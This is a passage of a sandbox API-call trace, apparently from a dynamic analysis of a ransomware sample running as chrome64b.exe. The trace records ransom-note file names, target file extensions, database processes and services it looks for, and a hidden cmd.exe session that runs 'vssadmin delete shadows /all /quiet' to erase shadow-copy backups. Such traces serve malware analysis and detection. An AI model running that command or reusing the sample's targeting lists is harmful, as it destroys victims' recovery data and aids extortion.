(lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0250.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x686740 | out: hHeap=0x640000) returned 1 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce5b8, Size=0x20) returned 0x680790 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680790, Size=0x40) returned 0x65f420 [0250.294] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0250.294] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0250.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f420 | out: hHeap=0x640000) returned 1 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce7c8, Size=0x20) returned 0x680790 [0250.294] lstrlenW (lpString="Info.hta") returned 8 [0250.294] lstrlenW (lpString="Info.hta") returned 8 [0250.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680790 | out: hHeap=0x640000) returned 1 [0250.295] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6cf9c8, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe")) returned 0x21 [0250.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6cf9c8 | out: hHeap=0x640000) returned 1 [0250.296] lstrlenW (lpString="chrome64b.exe") returned 13 [0250.296] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680588, Size=0x40) returned 0x65f660 [0250.296] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce570, Size=0x20) returned 0x680790 [0250.296] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce540, Size=0x20) returned 0x680830 [0250.296] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680830, Size=0x40) returned 0x65f8e8 [0250.296] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f8e8, Size=0x80) returned 0x685f48 [0250.296] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x685f48, Size=0x100) returned 0x687ab0 [0250.297] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0250.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687ab0 | out: hHeap=0x640000) returned 1 [0250.297] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6cf9c8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0250.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6df9d0 | out: hHeap=0x640000) returned 1 [0250.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6cf9c8 | out: hHeap=0x640000) returned 1 [0250.298] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce180, Size=0x8) returned 0x6ce0a0 [0250.298] lstrlenW (lpString="%windir%;") returned 9 [0250.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680790 | out: hHeap=0x640000) returned 1 [0250.298] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0250.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a1688, Size=0x20) returned 0x680808 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680808, Size=0x40) returned 0x65f390 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f390, Size=0x80) returned 0x686960 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686960, Size=0x100) returned 0x6a0640 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0c0, Size=0x8) returned 0x6ce0d0 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0d0, Size=0x10) returned 0x6a14f0 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a14f0, Size=0x20) returned 0x680880 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0b0, Size=0x8) returned 0x6ce120 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce030, Size=0x8) returned 0x6ce040 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0b0, Size=0x8) returned 0x6ce0d0 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0d0, Size=0x10) returned 0x6a15f8 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a15f8, Size=0x20) returned 0x680808 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce120, Size=0x10) returned 0x6a1670 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce040, Size=0x10) returned 0x6a1568 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0e0, Size=0x8) returned 0x6ce0b0 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0e0, Size=0x8) returned 0x6ce040 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a1670, Size=0x20) returned 0x680830 [0250.713] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a1568, Size=0x20) returned 0x680858 [0250.714] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce1a0, Size=0x8) returned 0x6ce0f0 [0250.714] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0250.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0640 | out: hHeap=0x640000) returned 1 [0250.714] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a13e8, Size=0x20) returned 0x6804c0 [0250.714] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6df9d0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0250.714] lstrlenW (lpString="C:\\") returned 3 [0250.714] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0250.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6df9d0 | out: hHeap=0x640000) returned 1 [0250.715] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6cdfe0, Size=0x82) returned 0x6a06d0 [0250.715] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce150, Size=0x100) returned 0x69b818 [0250.715] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a06d0, Size=0x104) returned 0x6ab1f0 [0250.715] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x69b818, Size=0x200) returned 0x6a3220 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce140 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a3220 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1730 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x686410 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1688 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x686388 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1418 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ab1f0 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a13e8 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x69b920 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1718 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ab160 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1700 | out: hHeap=0x640000) returned 1 [0250.716] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a1778, Size=0x20) returned 0x6805d8 [0250.716] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6805d8, Size=0x40) returned 0x65f3d8 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce1a0 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1640 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0640 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1478 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x685c18 | out: hHeap=0x640000) returned 1 [0250.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1448 | out: hHeap=0x640000) returned 1 [0250.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce120 | out: hHeap=0x640000) returned 1 [0250.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1658 | out: hHeap=0x640000) returned 1 [0250.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a5508 | out: hHeap=0x640000) returned 1 [0250.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x656900 | out: hHeap=0x640000) returned 1 [0250.717] lstrlenW (lpString="%systemdrive%") returned 13 [0250.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6804c0 | out: hHeap=0x640000) returned 1 [0250.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x686300 | out: hHeap=0x640000) returned 1 [0250.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce100 | out: hHeap=0x640000) returned 1 [0250.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6acd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4 [0250.718] WaitForMultipleObjects (nCount=0x2, lpHandles=0x65b3e0*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0295.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65b3e0 | out: hHeap=0x640000) returned 1 [0295.939] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0295.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f300 | out: hHeap=0x640000) returned 1 [0295.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb2b0 [0295.940] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb2b0, Size=0x20) returned 0x699f50 [0295.940] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x699f50, Size=0x40) returned 0x460e5c8 [0295.940] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x460e5c8, Size=0x80) returned 0x6860e0 [0295.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb2e0 [0295.940] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb2e0, Size=0x20) returned 0x699c08 [0295.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1fffc) returned 0x3762070 [0295.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4535f60 [0295.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4553bf8 [0295.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb2b0 [0295.941] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb2b0, Size=0x20) returned 0x699e60 [0295.941] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x699e60, Size=0x40) returned 0x460e9b8 [0295.941] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x460e9b8, Size=0x80) returned 0x6869e8 [0295.941] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6869e8, Size=0x100) returned 0x45dc9b8 [0295.941] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0295.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45dc9b8 | out: hHeap=0x640000) returned 1 [0295.941] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4535f60, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0295.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0295.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0295.942] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x574, hWritePipe=0x19fd54*=0x578) returned 1 [0295.942] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x37c, hWritePipe=0x19fdc4*=0x49c) returned 1 [0295.942] SetHandleInformation (hObject=0x578, dwMask=0x1, dwFlags=0x0) returned 1 [0295.942] SetHandleInformation (hObject=0x37c, dwMask=0x1, dwFlags=0x0) returned 1 [0295.942] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x574, hStdOutput=0x49c, hStdError=0x49c), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x528, hThread=0x2c0, dwProcessId=0xfc4, dwThreadId=0xfc8)) returned 1 [0295.955] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0295.955] WriteFile (in: hFile=0x578, lpBuffer=0x6860e0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6860e0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0295.955] CloseHandle (hObject=0x528) returned 1 [0295.955] CloseHandle (hObject=0x2c0) returned 1 [0295.955] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3762070 | out: hHeap=0x640000) returned 1 [0295.957] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0295.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6860e0 | out: hHeap=0x640000) returned 1 [0295.957] lstrlenW (lpString="%comspec%") returned 9 [0295.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699c08 | out: hHeap=0x640000) returned 1 [0295.957] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0295.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x656440 | out: hHeap=0x640000) returned 1 [0295.957] ExitProcess (uExitCode=0x0) Thread: id = 34 os_tid = 0xd1c Thread: id = 38 os_tid = 0xd3c [0250.499] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6ce540 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce540, Size=0x20) returned 0x680588 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680588, Size=0x40) returned 0x65f588 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f588, Size=0x80) returned 0x686278 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686278, Size=0x100) returned 0x687cc0 [0250.499] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6ce5d0 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce5d0, Size=0x20) returned 0x6807b8 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6807b8, Size=0x40) returned 0x65f3d8 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f3d8, Size=0x80) returned 0x685db0 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x685db0, Size=0x100) returned 0x6ab160 [0250.499] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ce4f8 [0250.499] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x6ce0f0 [0250.499] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6ce540 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0f0, Size=0x8) returned 0x6cdfe0 [0250.499] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x656260 [0250.499] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6cdfe0, Size=0x10) returned 0x6ce558 [0250.499] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x656280 [0250.499] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1a) returned 0x680650 [0250.500] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce558, Size=0x20) returned 0x680970 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x680588 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16) returned 0x6566e0 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1a) returned 0x680790 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ce558 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x6ce0b0 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x65f588 [0250.500] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0b0, Size=0x8) returned 0x6ce180 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x3c) returned 0x65f0c0 [0250.500] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce180, Size=0x10) returned 0x6ce570 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x656660 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x656780 [0250.500] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce570, Size=0x20) returned 0x6807e0 [0250.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x24) returned 0x657260 [0250.500] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0250.500] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687cc0 | out: hHeap=0x640000) returned 1 [0250.500] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0250.500] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ab160 | out: hHeap=0x640000) returned 1 [0250.500] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6805d8 [0250.521] EnumServicesStatusExW (in: hSCManager=0x6805d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0250.551] GetLastError () returned 0xea [0250.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1b4e) returned 0x6a3220 [0250.551] EnumServicesStatusExW (in: hSCManager=0x6805d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6a3220, cbBufSize=0x1b4e, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6a3220, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0250.582] CloseServiceHandle (hSCObject=0x6805d8) returned 1 [0250.595] lstrlenW (lpString="AppXSvc") returned 7 [0250.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0250.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0250.596] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0250.596] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0250.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0250.596] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0250.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0250.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0250.596] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0250.596] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0250.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0250.596] lstrlenW (lpString="Audiosrv") returned 8 [0250.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0250.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0250.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0250.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0250.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0250.596] lstrlenW (lpString="BFE") returned 3 [0250.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0250.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0250.596] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0250.596] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0250.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0250.596] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0250.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0250.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0250.597] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0250.597] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0250.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0250.597] lstrlenW (lpString="CDPSvc") returned 6 [0250.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0250.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0250.597] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0250.597] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0250.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0250.597] lstrlenW (lpString="ClickToRunSvc") returned 13 [0250.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0250.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0250.597] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0250.597] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0250.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0250.597] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0250.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0250.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0250.597] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0250.597] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0250.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0250.597] lstrlenW (lpString="CryptSvc") returned 8 [0250.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0250.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0250.597] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0250.597] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0250.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0250.597] lstrlenW (lpString="DcomLaunch") returned 10 [0250.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0250.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0250.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0250.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0250.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0250.598] lstrlenW (lpString="DeviceAssociationService") returned 24 [0250.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0250.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0250.598] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0250.598] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0250.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0250.598] lstrlenW (lpString="Dhcp") returned 4 [0250.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0250.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0250.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0250.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0250.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0250.598] lstrlenW (lpString="Dnscache") returned 8 [0250.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0250.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0250.598] lstrcmpiW 